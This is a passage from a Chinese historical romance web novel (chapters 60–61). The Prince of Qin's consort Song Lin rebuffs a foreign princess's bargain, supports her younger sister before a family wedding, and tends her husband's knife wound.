“公主请说,但凡本王妃能帮得上忙的,绝不推脱!”她答应得一脸豪横,心里却也早已有了计较。
看来慕容白还没有死心,这是做了几手准备。华承坤那边行不通,又叫慕容茹素来找自己。
她竟然有些期待对方的交换筹码了。
慕容茹素握了握垂在身侧的手,早没了先前的兴致。
“前几日我王兄丢了个人,那是一个很重要的人。”
“据说机缘巧合之下被秦王妃给救了,还带进了秦王府。若王妃愿意物归原主,我们愿备上厚礼重谢!”
一上来就用利益笼络?宋檩想笑了。
这兄妹二人的厚礼能有多厚?要地没地,铺子田庄更是一样没有,她会稀罕那点东西?
林歌说过她的产业很多,胡人公主又如何,除了身份一无是处。他们手里的那些战马倒是不错,可惜她眼下不稀罕。
像是猜到她心中所想,这些日子在中都慕容茹素了解了一些,她所能许下的厚礼与秦王妃的私产比起来确实不够看。
慕容茹素倒也不气恼,只是盯着宋檩,“若王妃不需要厚礼,我们也可以交换一个消息。那是一个秦王妃很需要且一直在查的消息。”
宋檩眸子一拧,不得不说,这个条件很诱人。她一直在暗中调查的事情正好有那么一件……
慕容茹素见她不说话,继续道:“王兄离开大昭的时候救了个人,此人的身上有一个标记,相信秦王妃会感兴趣。”
她从怀里掏出手绢,轻轻一抖散开,一抹熟悉的蓉花印记映入眼前。
宋檩错愕,竟会有人把蓉花印在身上?
此人真实与否尚且不知,这倒是给她打开了一个思路。看来她有必要见一见古老,问个究竟。
为了一个不知真假的消息出卖木九儿不是个划算买卖,不过,按时间推算,木九儿应当离中都有些距离了。
她故作不知木九儿是谁,“那人到底什么来路,竟让你们费尽心思来与本王妃交换?”
“据我所知,太子和承王都在寻找蓉花玉简,把人交给他们任何一人都比给我强吧。”
60. 出嫁的前夕
慕容茹素早料到她没那么轻易同意。
“实不相瞒,我只想要那个人,至于那什么印迹的一概不感兴趣。”
“眼下秦王妃手里有我想要的,我这里恰好有秦王妃需要的,咱们何不合作一把,互相成就呢?”
说得轻巧,宋檩端着手绕她转了一圈。
华承坤向来不做吃亏的买卖,能亲自上门讨问木九儿,这二人之间显然达成了协议。
只怕她口中那个救下的人早被华承坤知道了,要么毫无价值,要么……已经被调包。
想让她当这个冤大头,门儿都没有!
她眼眸一动,嗤笑道:“到底是互相成就,还是别有用心,公主心里清楚得很。”
被她如此不留情面地拒绝,慕容茹素的脸面有点挂不住,“秦王妃这是何意?”
宋檩更加肯定了心中猜想,“我什么意思你心里很清楚,请你转告慕容白,他若再敢逗留大昭,我不怕鱼死网破。”
她笑着离去,没有注意到慕容茹素眸中一闪而过的愤怒。
林歌回头看了一眼,眸子微沉。这个和亲公主最好不要打姑娘的主意,否则她一定叫她后悔来到大昭京城!
宋檩在前边走着,突然有了点感慨,“林歌。”
“姑娘有何吩咐?”林歌听到自己的名字,乖乖上前来等待吩咐。
“从明日起,你去办一件事情!”她将自己想要训练人手的想法说了出来。“此事急不得,咱们宁缺毋滥,要银子尽管开口,必须把事儿办好。”
林歌听得热血沸腾,作为姑娘身边的人,旁人不知道姑娘的能力,她却比谁都明白。就那些嫁妆,一人根本打理不过来。
加之姑娘谋划的那些事情,早该训练新人了。
“姑娘放心,属下这就去找林武商量对策。”
此时天色正好,阳光打在身上虽没什么暖意,却能驱寒。相府内到处张灯结彩,添了几分喜庆与神秘。
二人在后花园散步消食,恰碰上风风火火去前厅的宋漓。双方都没料到会在这里碰面,有些欢喜。
“漓儿见过大姐姐!”
“奴婢见过秦王妃!林歌姐姐。”她的丫鬟灵秀同时行礼。
宋檩笑着握住她的手,“在自己家里不必多礼,四妹妹着急忙慌的,去做什么?”
宋漓起身,一脸无奈,“还不是为了嫁妆的事情。”
她将侯氏决定添些嫁妆,再多两个陪嫁丫头的事情说了一遍。
宋檩暗道,看来这回宋姿没能争赢。侯宛仪再如何,也明白自己的靠山只有女儿,大女儿婚期未知,次女却马上就是承王妃,孰轻孰重她心里有一杆秤。
“侯氏忙活嫁妆,却把前厅的烂摊子交给你,一会儿遇上宋姿准没你好话听。”宋檩摇头。
侯宛仪想做好人,不愿意去面对宋姿的怒火,这不,就把宋漓叫去挨骂了,真是好德行。
“不过是挨两句骂,不痛不痒,我倒没什么的。”这方面她一向看得开。
“左右如今爹爹叫我学着掌家,若真出了差错岂不让爹爹为难?”
相府没有男丁,若是明日出了差错,侯氏难免拿着到爹爹跟前说,让爹爹为难不说,也会让旁人看相府的笑话。
后宅再如何斗,那也是关起门来的事,没必要闹得满城风雨。
宋檩不得不佩服她的胸襟,小小年纪思虑如此周到,无怪乎侯宛仪拿她毫无办法。
她掸了掸衣服,笑着道:“既如此,我跟四妹妹一块儿过去吧,正巧有点事情想问问你。”
宋漓有些意外,又有些惊喜,“大姐姐请说。”
宋檩拉着她走在前边,灵秀和林歌落后两人几步。
“四妹妹今年开春就要及笄了吧。”宋檩状若无意地提起这件事情。
宋漓脸色惨白,原本是件值得高兴的事情,却突然让她懊恼不已。慌乱中手上失了分寸,力道大了些,掐的宋檩胳膊疼。
“大姐姐……抱歉!”反应过来后,她一脸歉疚地看向宋檩,暗恼自己的鲁莽。
她的反应告诉自己,宋漓并非什么都不知道,相反的,她很明白华承坤的心思。
“还请大姐姐帮我!”她松开紧握的拳头,低眉恳请。
“只要爹爹不同意,母亲和姨娘不会让我进承王府,可是爹爹那里……只有大姐姐的话最有分量,漓儿……”她咬了咬嘴唇,力道很大。
“别咬伤了自己,犯不着为了这么点事伤害自己。”宋檩拉起她的手,拍了拍她的胳膊,安慰着。
“你既然让我帮你,那有句话我必须问清楚,我且问你,你当真不愿意去承王府?”若她本身就是个贪图富贵之人,宋檩不会愿意出手。
宋漓一脸严肃地看着她,摇了摇头,“承王府非我所愿。”
“我与几位姐姐不一样,我娘出身低,便是去了承王府也不会有太大用处,既如此,相府已经有一个女儿在那,何故再让我去?”
“还是那句话,漓儿此生不愿为妾,哪怕是嫁给一个普通人为妻,平平淡淡地过一辈子也行。”
夫妻即便无法相亲相爱,也得讲究个相敬如宾,让她跟别的女子分享自己的夫君,如姨娘那样日日盼着夫君宠幸,她做不到。
面对宋檩,她说得句句属实,字字在理,没有一点的隐瞒。
宋檩有些惊讶,她曾是高高在上的家主,骨子里接受不了自己的男人三妻四妾。没想到宋漓一个弱女子,在这种出身背景下还能坚持自己的主见。
不得不说,这样的女子让她佩服。
“既然你还认我这个大姐姐,我就会尽全力帮你。”她双手搭在宋漓的肩膀上,笑道:“不过,你也不必将爹爹看得那么迂腐,我不能一直待在相府,你若是有什么想法,可以直接告诉他,父女之间多沟通总没有坏处。”
“爹爹告诉我,他很欣赏你,只是你太有主见,又总不大与他亲近,显得生疏罢了。”
宋漓不敢相信她的话,“大姐姐说的……可是真的?爹爹他……”
在她心中,宋明书一直是自己的榜样,但她知道自己的身份,不敢过多地表现自己,只能默默变强。
林歌笑道:“四姑娘不
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必担心,我家姑娘说的全是大实话。相爷好几次夸奖四姑娘懂事,都是洛姨娘教导有方。”
“我虽不懂那些大道理,但却明白,与人交好,旁人才会与你亲近。四姑娘跟相爷是父女,若四姑娘主动去找相爷,相爷又怎么会拒绝?”
为亲近之人放下身段,从来都不是一件丢脸的事情。
宋漓突然明白了这么个道理,她看向林歌,有些自嘲地笑了,“亏我自诩读了很多书,竟还比不得林歌通透。”
“四姑娘这可抬举我了!”林歌眯笑着眼睛,一贯严肃的脸上难得露出几分羞涩。
“我只是个粗人,顶多会点拳脚功夫!”她抓了抓后脑勺,暗暗看了眼自家姑娘,见她毫无责备之意才松了口气。
宋漓赞赏地看向她,不愧是跟在大姐姐身边的人,懂得就是多。“大姐姐身边的人,果然是宝贝!”
“你可别夸她,再夸下去估计就得意忘形!”宋檩也笑了,姐妹俩聊得还不错。
丫鬟们闻着声音走过来。
“见过秦王妃,四姑娘。”来的是宋沅身边的大丫鬟月心,态度很恭敬。
“我认得你,你是三姐姐身边的月心,可是三姐姐让你来唤我们?”宋漓看着她,笑问道。
月心态度恭谨,礼貌有加,让人挑不出毛病来。
宋檩调查过宋沅身边的丫鬟,当然知道月心。这位重新被提拔上来的大丫鬟,一直以来做事小心。至于春雨,早被她打发走了。
毕竟侯氏的人,即便打小跟着她,也无法再相信。
派月心过来,也表明了她的态度。
“回四姑娘,奴婢奉我家姑娘的命前来请秦王妃和四姑娘过去一叙。我家姑娘明日便出阁,想在今儿晚上与众姐妹叙叙。”
“我家姑娘还说,既然是姐妹,往后自当要互相帮衬的,旁的人再如何亲近也抵不过血缘之亲。”
宋漓看向宋檩,等着她拿主意。
“难得三妹妹有这份心意,回去告诉你家姑娘,我们这就过去。”宋檩看着月心,淡笑着道。
月心笑着退下,一脸欢喜。
“姑娘是想直接过去,还是换身衣服了再去?”林歌小声提醒。
宋檩摇了摇头,“不必了,正好四妹妹在,我与四妹妹一同过去。在自家府上,就不要那么多讲究了。”
“我听大姐姐的!”宋漓高兴地挽住她的胳膊,脸上泛起一阵潮红。
丹心阁内,宋沅正被一群富家千金围着说话,她时不时看向门口,明显在等人。
“沅儿莫不是在等人?容我们来猜猜,莫非在等新郎官过来?”一个身着粉红衣裙的姑娘打趣道,听上去跟宋沅的关系不差。
“怎么会?现在还不到时辰,皇室最重礼节,婚前新人是绝不能见面的!”又一个年轻姑娘开口。
“就是就是!”
有了人打头阵,附和的人就会一个接着一个,宋姿在一边实在听不下去了。她又想起了曾经的自己。
这时才明白过来,那会儿的自己真是疯了,竟爱听这些胡说八道的奉承话。
61. 莫名的情愫
“依着我对沅儿的了解,应是在等大姐姐和四妹妹,难得的机会,咱们四姐妹定然要好好聚聚。”她抢过话道。
还不忘为自己抢个风头,“将来我嫁去太子府,大姐姐又在秦王府,沅儿去了承王府,漓儿妹妹也会留在京城,咱们亲姐妹之间相互照应,互相帮衬,谁都不敢欺负了去!”
身为宋沅的亲姐姐,旁人不会怀疑她的话,也跟着附和起来。
这是宋沅出嫁的消息传出后,宋姿第一次公开拿姐妹说话,宋沅有些惊讶,却也没扫了她的面子。
“姐姐说得自是对的!”
“我好像听到有人在叫我!”宋檩和宋漓领着人进来,丫鬟婆子忙打起帘子。
宋沅从凳子上起身,亲自迎了过去,“大姐姐四妹妹快进来,正说着你们,可不人就到了!”
宋漓眼中闪过一抹古怪,她和三姐姐的关系还没这么好吧?大姐姐似乎也……
虽觉得别扭,却没有拆穿她。
大姐姐是秦王妃,三姐姐是承王妃,如今太子和承王角逐激烈,大姐姐自然是两位争先结交的对象。
至于自己?约莫是警告她不许去承王府吧。宋漓心里想笑,面上却不显,“三姐姐,你明日就要出阁了,这是我的一点心意,权当给三姐姐添置嫁妆。”
她接过月心手里的小锦囊,那是洛姨娘当年带回来的东西,一个上好的翡翠镯子。
宋沅摸到实物,眼睛一亮,她就知道是那副镯子,当初自己眼红了很久。真没想到,兜兜转转还是到了她手里。
“四妹妹和姨娘客气了,我可听说这是姨娘给四妹妹准备的嫁妆,就这么给了我,你舍得?”她嘴上说着,手却紧紧拽着荷包,担心被人抢走似的。
宋漓抿唇浅笑,“不过是个镯子,三姐姐若不嫌弃,拿去便是。”
宋沅到底是女孩子,喜欢那些细软之物,得到一个欢喜的物什,可以高兴大半天。
宋檩想了想,取下手上的一杯金镯子,放在她手上,“这是我的心意,三妹妹莫要嫌弃。”
宋沅没想到她也会送自己一副镯子,还是纯金的!
当年国公府千金出嫁,嫁妆都可以绕中都城一圈了,那是何等的荣宠!
她一直都知道那批嫁妆,甚至还在娘跟前念叨过,想让爹爹拿出来一些给她们做嫁妆。
可爹爹听到后不仅没有准允,还狠狠训斥了娘一顿。自那以后,她们再也不敢打文夫人嫁妆的主意,只能眼红。
如今这枚镯子,纯金打造,样式也是极经典好看的,即便是现下也毫不过时,她以后戴出去绝对有面子!
“多谢大姐姐,我就不客气了!”宋沅拿过金镯子,爱不释手。
宋檩不出手则已,一出手就是一个纯金的镯子,一旁的人都羡慕不已。
“不愧是秦王妃,出手真阔绰!”
“那可不,人家姐妹之间也是真的感情好,若是换了旁人……”
说着说着,很快就上升到了家庭教育,宋檩也不清楚这群女人是怎么说道的。
她看向坐在一边的宋姿,笑着道:“金银都是身外之物,生不带来死不带去的,不只是三妹妹,将来四妹妹和二妹妹出嫁,我也会备些东西,这是我身为长姐的义务。”
大方是一回事,她也在提醒在场的人,长姐如母。丞相的原配夫人已经去世多年,对她们姐妹疏于照顾。
但侯宛仪成了平妻,不代表就可以踩在她母亲的头上!
在场的贵女们脸上表情有些微妙,相府平妻与原配嫡女不和的消息,她们多多少少听了些风声。
眼前这一幕……似乎不大对劲啊。
宋姿心里堵得慌,也只能硬着头皮承下这份情,“姿儿谢过大姐姐。”
“应该的!”宋檩大方笑过。
“明日是三妹妹的喜日子,众位姐妹都早些回去,好让三妹妹歇着。”毕竟大喜的日子,折腾得慌,若是没休息好,人没有精力。
她是出嫁之身,自然知道得多些,没有人反驳她的话。一个个开始告辞,宋檩也领着宋漓离开。
从丹心阁出来已是半下午,与宋漓分开后回到敬方院,宋檩有些困,只想洗漱一番歇下,进门却被吓了一大跳。
她一脸懵地看着屋子里坐着的人,那人神态自若,显然没有把自己当外人啊!
“王爷?”屋子里有些暗,她不确定道。
瞿昙抬起眸子来,淡淡地瞥她一眼,神态自若地喝茶,显然还有些力气不济。
惊风正端了热水过来,看到站在门口的宋檩一脸欢喜,“王妃回来了!”
宋檩:“……”
也就一天时间不见,至于这么激动?
惊风放下手里的热水,将帕子搭在木盆边沿,“王妃,这里就麻烦您了!”
宋檩还没反应过来发生了什么,就见他快速离开了屋子,还不忘把房门给关上。
她一脸懵地看向还在冒热气的水木盆,“你受伤了?”
一股血腥味传来,宋檩不敢耽搁,点燃了烛火,果见他面色很差,唇色白得吓人。
所以,这人受伤了不回去找大夫包扎,跑来相府做什么?
“伤在何处?”
见她一脸严肃,瞿昙没有隐瞒,侧了侧头,“背上挨了一刀。”
宋檩二话不说走到他背后,伸手解他腰带。
瞿昙:“你做什么?”
“别动!”她一掌拍在那只不老实的手上,警告他不许乱动。
瞿昙不敢违逆,由着她解开腰带,脱掉衣服,露出大半个身子在外边。
一脱掉衣服,背上一掌长的伤口映入眼帘,宋檩瞳孔骤缩。她没看到衣服的口子,想是换过了衣裳。
“东海王府的人做的?”他这段时间一直在查东海王府,狠心下这么重的手,也只有东海王了。
被她这么直白地盯着,瞿昙有些不好意思,耳尖不争气地红了。
“都是小伤,没什么嘶……”话还没说完,背上传来的疼让他慌乱中打翻了桌上茶杯。
宋檩翻了个白眼,走到水盆边洗帕子,还没好气道:“都这个样子了,还在逞强?”
瞿昙紧紧抿着唇角,脸上没有一丝表情。
宋檩将打湿的帕子拧成半干,挽了挽袖子,“你这伤口有些地方都结痂了,疼的话就叫出来,我又不会笑话你。”
屋子里很安静,剪掉那些结痂的烂肉时,她甚至听见了骨头摩擦的声音。
待上药包扎完毕,宋檩起身,甩了甩泛酸的胳臂,见他衣裳褪到了腰部,面无表情的样子,活脱脱像是个被逼迫的良家妇女。
宋檩嘴角轻抽,“好了,自个儿把
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衣服穿好。”
思及他眼下受了伤,现下赶回王府,明日一大早又得过来,来回折腾得很,便起了让他住下的心思。
她跑去内室,一会儿又跑了出来,手里多了一条叠得整整齐齐的毛毯子。
未过问他的意思,径直打开了毯子披在他的肩头。
“天色不早了,今晚你且在这住下,但不能平躺着睡,撕裂了伤口我可不负责。”
瞿昙看了她一眼,又看向身上的毯子,以及耷拉在他腰间的上衣,垂下的眸子里闪过异色。
父王母妃去世得早,爷爷在外远游,安管事看着他长大,却也尊卑有别,这还是第一次享受到旁人的关心。
他的小王妃虽然总是一副冷冰冰的样子,心里还是挂着他的。
一直没听到回应,宋檩以为他太疼,就搬了张椅子坐在他身边,“如果你觉得难受,就想些快乐的事情转移注意力。”
“比方说,好笑的事,喜欢的人,只要不想这个伤就行。”宋檩指了指伤口处,好奇的眸子里染上几分担忧。
瞿昙偏过脑袋,看向身边坐着的女子,不知为何,他有种想要抱住她的冲动。
而他确实这么做了。
宋檩:“……”这算怎么回事?
原本以为他受了伤,是伤患,由着他任性。可是,一炷香时间过去了,他还没有动静,宋檩有些不乐意了。
拿手指在她肩膀上戳了戳,“我说,差不多得了。”她手都酸了,再这么抱下去,非得麻了不可。
抱在身上的人仍毫无动静,宋檩偏了偏身子。
好家伙,这人竟然抱着她睡熟了。
让她一介弱女子把个成年男子抱去床榻上是绝无可能的事情,今日这么一番折腾,她也实在累得慌。
两人就这么相依偎着睡去。
宋檩是被一阵锣鼓声吵醒的,起来后坐在床上一脸懵。她眨巴了眼睛,看向大大的床,如果没记错,昨晚自己是坐在椅子上睡过去的吧?
她没有惊动任何人,光脚来到了外屋。见屋子里空荡荡的全无一人,脑袋里闪过大大的问号,那个伤患去哪了?
她挠了挠脑袋,有种没睡醒的样子,还理不清思绪。
“姑娘怎么没穿鞋?”林歌推开门进来,手里端着洗漱用的热水,见她光脚踩在地上,眉头轻皱。
她放下手里的东西,快步走到内室取了鞋子给她穿上,还不忘好生叮嘱道:“地上这么凉,姑娘就不怕来月事的时候肚子痛?”
宋檩摸了摸鼻尖,一副心虚地点头。很快,她就发现了不对劲,忙着别的事情竟把这事儿给忘了。
她愣愣地看着林歌,喃喃道:“林歌,我多久没来月事了?”
林歌明白她的意思,才想起上回姑娘来月事已经是两个多月之前的事情了,拧帕子的动作一顿,她表情有些凝重,“自打给王爷解了毒,王妃就再没来过月事。”
宋檩瞳孔微震,果然还是伤身子,若再来,只怕不会很轻松,回王府后得找黎樾诊一脉。
“外边怎么这么热闹?”宋檩连忙转移话题。
林歌是个聪明人,点到为止,她知姑娘不愿提及解毒之事。
“回姑娘,是迎亲的队伍到了,据说承王殿下亲自来迎亲,好不热闹!”
宋檩了然,难怪这么热闹。